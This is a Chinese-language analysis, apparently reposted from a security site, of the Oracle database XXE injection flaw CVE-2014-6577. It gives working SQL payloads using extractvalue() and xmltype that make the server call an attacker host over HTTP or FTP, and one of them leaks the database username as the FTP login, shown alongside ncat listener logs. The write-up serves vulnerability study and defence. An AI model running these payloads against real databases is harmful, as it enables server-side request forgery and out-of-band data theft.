Oracle數據庫XXE注入漏洞(CVE-2014-6577)分析


在這篇文中,我們將共同分析一下Oracle數據庫的XXE注入漏洞(CVE-2014-6577),Oracle公司1月20日發布了針對該漏洞的相關補丁。

有關XXE的相關知識,可以查看安全脈搏站內的另一篇文章《未知攻焉知防——XXE漏洞攻防》。

漏洞描述

Oracle數據庫的XML解析器模塊容易受到XML外部實體(XML External Entity , XXE)注入。

受影響版本:11.2.0.3, 11.2.0.4, 12.1.0.1 和12.1.0.2

所需權限:創建會話(CREATE SESSION)

oracle_XXE_CVE-2014-6577

技術細節

因為Oracle中XML解析器的安全特性,外模式得到了解決,但是並不解析。

這可以防止某些XXE注入攻擊,例如讀取遠程數據庫服務器上的本地文件。

然而,攻擊者可以發送精心編制的SQL查詢來觸發XML解析器,誘騙服務器通過HTTP或者FTP連接一個遠程資源。

這可能會因帶外通道而導致數據泄露、遠程內部系統上執行端口掃描、執行服務器端請求偽造(SSRF)攻擊或會引起拒絕服務攻擊(DoS)。

易受攻擊的URI handler:

  • http:
  • ftp:

0x01

Oracle的XML解析器可以通過調用針對xml類型對象的extractvalue()函數來觸發。下面是一個簡單的示例,該示例利用一個簡單的XXE注入payload來構造查詢語句:

select extractvalue(xmltype('<!ENTITY xxe SYSTEM "etc/passwd">]>'|| '&' ||'xxe;'),'/l') from dual;

執行上面的查詢語句將會引起如下錯誤:

ORA-31001: Invalid resource handle or path name "/etc/passwd"
ORA-06512: at "SYS.XMLTYPE", line 310
ORA-06512: at line 1
31001. 00000 - "Invalid resource handle or path name \"%s\""
*Cause: An invalid resource handle or path name was passed to
the XDB hierarchical resolver.
*Action: Pass a valid resouce handle or path name to the hierarchical
resolver.

這是因為文件URI處理程序被轉換成了一個XDB庫路徑。

0x02

然而,換成HTTP URI處理程序來進行查詢將會產生另一個問題。示例查詢代碼如下:

select extractvalue(xmltype('<!ENTITY xxe SYSTEM "http://IP/test">]>'|| '&' ||'xxe;'),'/l') from dual;

數據庫服務器錯誤如下:

ORA-31020: The operation is not allowed, Reason: For security reasons, ftp and http access over XDB repository is not allowed on server side
ORA-06512: at "SYS.XMLTYPE", line 310
ORA-06512: at line 1
31020. 00000 - "The operation is not allowed, Reason: %s"
*Cause: The operation attempted is not allowed
*Action: See reason and change to a valid operation.

這個錯誤表明,FTP和HTTP URI處理程序可能被XML解析器接受。注意,上面的查詢語句不會發送任何HTTP請求到攻擊者的系統。

0x03

我們看下另一個XXE注入payload,這次引用的是一個參數實體,而不是文檔實體:

select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://IP/test"> %remote; %param1;]>'),'/l') from dual;

執行該查詢語句時,數據庫服務器會產生上述同樣的錯誤(ORA-31020)。不過,這次成功地誘騙服務器提交了一個對資源“test”的HTTP請求。下面是攻擊者服務器上的HTTP日志:

ncat -lvp 80
Ncat: Version 6.25 ( http://nmap.org/ncat )
Ncat: Listening on :::80
Ncat: Listening on 0.0.0.0:80
Ncat: Connection from DB_IP.
Ncat: Connection from DB_IP:27320.
GET /test HTTP/1.0
Host: DB_IP
Content-Type: text/plain; charset=utf-8

傳統上來說,為了迫使服務器向外部資源發送HTTP請求,攻擊者需要一定權限來訪問UTL_HTTP包。因為extractvalue()對所有數據庫用戶都可用,故XXE注入帶來了另一種方式來觸發帶外HTTP請求,而這種方法的實現不需要擁有上述所提權限。

0x04

FTP URI處理程序(FTP:)也可以用來觸發Oracle的XML解析器。下面給出查詢語句示例,該示例發送數據庫用戶名來作為FTP用戶名:

select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "ftp://'||user||':bar@IP/test"> %remote; %param1;]>'),'/l') from dual;

數據庫服務器提示錯誤(注意錯誤碼與上面的不同,因為提供的憑證不能用於登錄遠程FTP服務器)如下:

ORA-31011: XML parsing failed
ORA-19202: Error occurred in XML processing
LPX-00202: could not open "ftp://SYSTEM:bar@IP/test" (error 402)
Error at line 1
ORA-06512: at "SYS.XMLTYPE", line 310
ORA-06512: at line 1
31011. 00000 - "XML parsing failed"
*Cause: XML parser returned an error while trying to parse the document.
*Action: Check if the document to be parsed is valid.

從下圖中可看到,數據庫用戶名作為FTP用戶名被包含在發送給攻擊者服務器的FTP流量中:

KT_Oracle_Vulnerability


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM